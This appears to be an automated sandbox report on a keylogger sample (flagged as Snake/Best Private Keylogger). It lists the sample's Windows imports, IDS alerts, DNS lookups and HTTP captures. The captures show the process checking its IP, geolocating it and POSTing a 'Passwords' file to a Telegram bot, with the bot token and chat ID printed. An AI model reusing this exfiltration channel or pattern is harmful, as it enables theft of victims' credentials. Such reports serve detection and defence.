WSOCK32.dll	__WSAFDIsSet, recv, send, setsockopt, ntohs, recvfrom, select, WSAStartup, htons, accept, listen, bind, closesocket, connect, WSACleanup, ioctlsocket, sendto, WSAGetLastError, inet_addr, gethostbyname, gethostname, socket
VERSION.dll	GetFileVersionInfoW, VerQueryValueW, GetFileVersionInfoSizeW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, ImageList_Create, InitCommonControlsEx, ImageList_ReplaceIcon
MPR.dll	WNetUseConnectionW, WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W
WININET.dll	InternetReadFile, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetConnectW, InternetQueryDataAvailable
PSAPI.DLL	GetProcessMemoryInfo
IPHLPAPI.DLL	IcmpCreateFile, IcmpCloseHandle, IcmpSendEcho
USERENV.dll	UnloadUserProfile, DestroyEnvironmentBlock, CreateEnvironmentBlock, LoadUserProfileW
UxTheme.dll	IsThemeActive
KERNEL32.dll	HeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, FindClose, GetLongPathNameW, GetCurrentThread, FindNextFileW, MoveFileW, CopyFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, EnumResourceNamesW, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, GetLocalTime, CompareStringW, DeleteCriticalSection, WaitForSingleObject, LeaveCriticalSection, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, LoadLibraryExW, FindResourceExW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, GetShortPathNameW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, SetPriorityClass, LoadLibraryW, VirtualAlloc, CloseHandle, GetLastError, GetFullPathNameW, SetCurrentDirectoryW, IsDebuggerPresent, GetCurrentDirectoryW, lstrcmpiW, RaiseException, InitializeCriticalSectionAndSpinCount, InterlockedDecrement, InterlockedIncrement, CreateThread, DuplicateHandle, EnterCriticalSection, GetCurrentProcess, ExitProcess, GetModuleHandleExW, ExitThread, GetSystemTimeAsFileTime, ResumeThread, GetCommandLineW, IsProcessorFeaturePresent, HeapSize, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, SetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetStartupInfoW, GetStringTypeW, SetStdHandle, GetFileType, GetConsoleCP, GetConsoleMode, RtlUnwind, ReadConsoleW, SetFilePointer, GetTimeZoneInformation, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetEnvironmentStringsW, FreeEnvironmentStringsW, HeapReAlloc, WriteConsoleW, SetEndOfFile, DeleteFileW, SetEnvironmentVariableA
USER32.dll	SetWindowPos, GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, DrawMenuBar, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, MonitorFromRect, LoadImageW, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, CopyImage, CheckMenuRadioItem, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, UnregisterHotKey, keybd_event, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, GetWindowThreadProcessId, AttachThreadInput, GetFocus, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetClassNameW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, AdjustWindowRectEx, SetRect, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, TranslateMessage, DeleteMenu, PeekMessageW, MessageBoxW, DefWindowProcW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, SystemParametersInfoW, CharLowerBuffW, GetWindowTextW
GDI32.dll	SetPixel, DeleteObject, GetTextExtentPoint32W, ExtCreatePen, StrokeAndFillPath, StrokePath, GetDeviceCaps, CloseFigure, LineTo, AngleArc, CreateCompatibleBitmap, CreateCompatibleDC, MoveToEx, Ellipse, PolyDraw, BeginPath, SelectObject, StretchBlt, GetDIBits, DeleteDC, GetPixel, CreateDCW, GetStockObject, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, SetTextColor, CreateFontW, GetTextFaceW, EndPath
COMDLG32.dll	GetSaveFileNameW, GetOpenFileNameW
ADVAPI32.dll	GetAclInformation, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegCreateKeyExW, GetUserNameW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, InitiateSystemShutdownExW, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, FreeSid, GetTokenInformation, GetSecurityDescriptorDacl, SetSecurityDescriptorDacl, AddAce, GetAce
SHELL32.dll	DragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
ole32.dll	CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoInitializeSecurity, CoCreateInstanceEx, CoSetProxyBlanket
OLEAUT32.dll	RegisterTypeLib, LoadTypeLibEx, VariantCopyInd, SysReAllocString, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayAllocData, UnRegisterTypeLib, SafeArrayCreateVector, SysAllocString, SysStringLen, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, OleLoadPicture, QueryPathOfRegTypeLib, VariantCopy, VariantClear, CreateDispTypeInfo, CreateStdDispatch, DispCallFunc, VariantChangeType, SafeArrayAllocDescriptorEx, VariantInit

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T15:34:57.854468+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.10	49707	193.122.130.0	80	TCP
2025-01-10T15:35:04.229590+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.10	49707	193.122.130.0	80	TCP
2025-01-10T15:35:04.863572+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.10	49749	149.154.167.220	443	TCP
2025-01-10T15:35:05.169737+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.10	49749	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 15:34:56.499233007 CET	49707	80	192.168.2.10	193.122.130.0
Jan 10, 2025 15:34:56.504077911 CET	80	49707	193.122.130.0	192.168.2.10
Jan 10, 2025 15:34:56.504148006 CET	49707	80	192.168.2.10	193.122.130.0
Jan 10, 2025 15:34:56.504489899 CET	49707	80	192.168.2.10	193.122.130.0
Jan 10, 2025 15:34:56.509285927 CET	80	49707	193.122.130.0	192.168.2.10
Jan 10, 2025 15:34:57.646761894 CET	80	49707	193.122.130.0	192.168.2.10
Jan 10, 2025 15:34:57.647392035 CET	80	49707	193.122.130.0	192.168.2.10
Jan 10, 2025 15:34:57.647450924 CET	49707	80	192.168.2.10	193.122.130.0
Jan 10, 2025 15:34:57.647850037 CET	80	49707	193.122.130.0	192.168.2.10
Jan 10, 2025 15:34:57.647936106 CET	49707	80	192.168.2.10	193.122.130.0
Jan 10, 2025 15:34:57.651542902 CET	49707	80	192.168.2.10	193.122.130.0
Jan 10, 2025 15:34:57.656339884 CET	80	49707	193.122.130.0	192.168.2.10
Jan 10, 2025 15:34:57.808482885 CET	80	49707	193.122.130.0	192.168.2.10
Jan 10, 2025 15:34:57.854468107 CET	49707	80	192.168.2.10	193.122.130.0
Jan 10, 2025 15:34:57.858834982 CET	49708	443	192.168.2.10	104.21.80.1
Jan 10, 2025 15:34:57.858879089 CET	443	49708	104.21.80.1	192.168.2.10
Jan 10, 2025 15:34:57.858980894 CET	49708	443	192.168.2.10	104.21.80.1
Jan 10, 2025 15:34:57.863748074 CET	49708	443	192.168.2.10	104.21.80.1
Jan 10, 2025 15:34:57.863765955 CET	443	49708	104.21.80.1	192.168.2.10
Jan 10, 2025 15:34:58.325387001 CET	443	49708	104.21.80.1	192.168.2.10
Jan 10, 2025 15:34:58.325522900 CET	49708	443	192.168.2.10	104.21.80.1
Jan 10, 2025 15:34:58.331192970 CET	49708	443	192.168.2.10	104.21.80.1
Jan 10, 2025 15:34:58.331202984 CET	443	49708	104.21.80.1	192.168.2.10
Jan 10, 2025 15:34:58.331582069 CET	443	49708	104.21.80.1	192.168.2.10
Jan 10, 2025 15:34:58.386305094 CET	49708	443	192.168.2.10	104.21.80.1
Jan 10, 2025 15:34:58.495558977 CET	49708	443	192.168.2.10	104.21.80.1
Jan 10, 2025 15:34:58.539357901 CET	443	49708	104.21.80.1	192.168.2.10
Jan 10, 2025 15:34:58.610132933 CET	443	49708	104.21.80.1	192.168.2.10
Jan 10, 2025 15:34:58.610208035 CET	443	49708	104.21.80.1	192.168.2.10
Jan 10, 2025 15:34:58.610351086 CET	49708	443	192.168.2.10	104.21.80.1
Jan 10, 2025 15:34:58.676774025 CET	49708	443	192.168.2.10	104.21.80.1
Jan 10, 2025 15:35:03.973011017 CET	49707	80	192.168.2.10	193.122.130.0
Jan 10, 2025 15:35:03.980052948 CET	80	49707	193.122.130.0	192.168.2.10
Jan 10, 2025 15:35:04.181526899 CET	80	49707	193.122.130.0	192.168.2.10
Jan 10, 2025 15:35:04.194597960 CET	49749	443	192.168.2.10	149.154.167.220
Jan 10, 2025 15:35:04.194636106 CET	443	49749	149.154.167.220	192.168.2.10
Jan 10, 2025 15:35:04.194700003 CET	49749	443	192.168.2.10	149.154.167.220
Jan 10, 2025 15:35:04.195611954 CET	49749	443	192.168.2.10	149.154.167.220
Jan 10, 2025 15:35:04.195626974 CET	443	49749	149.154.167.220	192.168.2.10
Jan 10, 2025 15:35:04.229589939 CET	49707	80	192.168.2.10	193.122.130.0
Jan 10, 2025 15:35:04.816788912 CET	443	49749	149.154.167.220	192.168.2.10
Jan 10, 2025 15:35:04.817024946 CET	49749	443	192.168.2.10	149.154.167.220
Jan 10, 2025 15:35:04.818891048 CET	49749	443	192.168.2.10	149.154.167.220
Jan 10, 2025 15:35:04.818907022 CET	443	49749	149.154.167.220	192.168.2.10
Jan 10, 2025 15:35:04.819449902 CET	443	49749	149.154.167.220	192.168.2.10
Jan 10, 2025 15:35:04.821490049 CET	49749	443	192.168.2.10	149.154.167.220
Jan 10, 2025 15:35:04.863369942 CET	443	49749	149.154.167.220	192.168.2.10
Jan 10, 2025 15:35:04.863456011 CET	49749	443	192.168.2.10	149.154.167.220
Jan 10, 2025 15:35:04.863471985 CET	443	49749	149.154.167.220	192.168.2.10
Jan 10, 2025 15:35:05.169810057 CET	443	49749	149.154.167.220	192.168.2.10
Jan 10, 2025 15:35:05.170001984 CET	443	49749	149.154.167.220	192.168.2.10
Jan 10, 2025 15:35:05.170068026 CET	49749	443	192.168.2.10	149.154.167.220
Jan 10, 2025 15:35:05.170478106 CET	49749	443	192.168.2.10	149.154.167.220
Jan 10, 2025 15:36:09.183299065 CET	80	49707	193.122.130.0	192.168.2.10
Jan 10, 2025 15:36:09.183420897 CET	49707	80	192.168.2.10	193.122.130.0
Jan 10, 2025 15:36:38.652848005 CET	49707	80	192.168.2.10	193.122.130.0
Jan 10, 2025 15:36:38.657875061 CET	80	49707	193.122.130.0	192.168.2.10

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 15:34:56.482534885 CET	61766	53	192.168.2.10	1.1.1.1
Jan 10, 2025 15:34:56.490092993 CET	53	61766	1.1.1.1	192.168.2.10
Jan 10, 2025 15:34:57.850575924 CET	55942	53	192.168.2.10	1.1.1.1
Jan 10, 2025 15:34:57.858136892 CET	53	55942	1.1.1.1	192.168.2.10
Jan 10, 2025 15:35:04.186198950 CET	50385	53	192.168.2.10	1.1.1.1
Jan 10, 2025 15:35:04.193684101 CET	53	50385	1.1.1.1	192.168.2.10

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 15:34:56.482534885 CET	192.168.2.10	1.1.1.1	0x1c01	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 15:34:57.850575924 CET	192.168.2.10	1.1.1.1	0x896c	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 15:35:04.186198950 CET	192.168.2.10	1.1.1.1	0x3f2d	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 15:34:56.490092993 CET	1.1.1.1	192.168.2.10	0x1c01	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 15:34:56.490092993 CET	1.1.1.1	192.168.2.10	0x1c01	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jan 10, 2025 15:34:56.490092993 CET	1.1.1.1	192.168.2.10	0x1c01	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jan 10, 2025 15:34:56.490092993 CET	1.1.1.1	192.168.2.10	0x1c01	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jan 10, 2025 15:34:56.490092993 CET	1.1.1.1	192.168.2.10	0x1c01	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jan 10, 2025 15:34:56.490092993 CET	1.1.1.1	192.168.2.10	0x1c01	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jan 10, 2025 15:34:57.858136892 CET	1.1.1.1	192.168.2.10	0x896c	No error (0)	reallyfreegeoip.org		104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 15:34:57.858136892 CET	1.1.1.1	192.168.2.10	0x896c	No error (0)	reallyfreegeoip.org		104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 15:34:57.858136892 CET	1.1.1.1	192.168.2.10	0x896c	No error (0)	reallyfreegeoip.org		104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 15:34:57.858136892 CET	1.1.1.1	192.168.2.10	0x896c	No error (0)	reallyfreegeoip.org		104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 15:34:57.858136892 CET	1.1.1.1	192.168.2.10	0x896c	No error (0)	reallyfreegeoip.org		104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 15:34:57.858136892 CET	1.1.1.1	192.168.2.10	0x896c	No error (0)	reallyfreegeoip.org		104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 15:34:57.858136892 CET	1.1.1.1	192.168.2.10	0x896c	No error (0)	reallyfreegeoip.org		104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 15:35:04.193684101 CET	1.1.1.1	192.168.2.10	0x3f2d	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49707	193.122.130.0	80	7336	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 15:34:56.504489899 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 15:34:57.646761894 CET	321	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:34:56 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: ccc99e180d301372d6c49292de558d2a Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 10, 2025 15:34:57.647392035 CET	321	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:34:56 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: ccc99e180d301372d6c49292de558d2a Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 10, 2025 15:34:57.647850037 CET	321	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:34:56 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: ccc99e180d301372d6c49292de558d2a Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 10, 2025 15:34:57.651542902 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 10, 2025 15:34:57.808482885 CET	321	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:34:57 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: e685344e37b9f42f7b654cf652c400c8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 10, 2025 15:35:03.973011017 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 10, 2025 15:35:04.181526899 CET	321	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:35:04 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 3e327adc464191928d28805331cdf70d Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49708	104.21.80.1	443	7336	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:34:58 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-10 14:34:58 UTC	865	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:34:58 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1834487 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=p7JC7xYjA4h%2B3iXQ0vGgb9%2BfwJRbIz9EICd63M%2F%2FytaWBrpVWM2mzxrGujoDXRa4N13bwcrZ9hBcGOx%2FMOEKT434K2PITC7p%2B%2F1LcKyFV2ZJUjkFeHChkxox68YXbciPybKZX%2FlH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd6413ef0943ee-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1690&min_rtt=1687&rtt_var=640&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1700640&cwnd=228&unsent_bytes=0&cid=b7a601eb8be3838a&ts=297&x=0"
2025-01-10 14:34:58 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49749	149.154.167.220	443	7336	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:35:04 UTC	294	OUT	POST /bot7910311526:AAEn5doit3APLTHTBsAxIx_YHMTZbEuOtRo/sendDocument?chat_id=6712961026&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd315a0f8efc48 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 14:35:04 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 35 61 30 66 38 65 66 63 34 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: 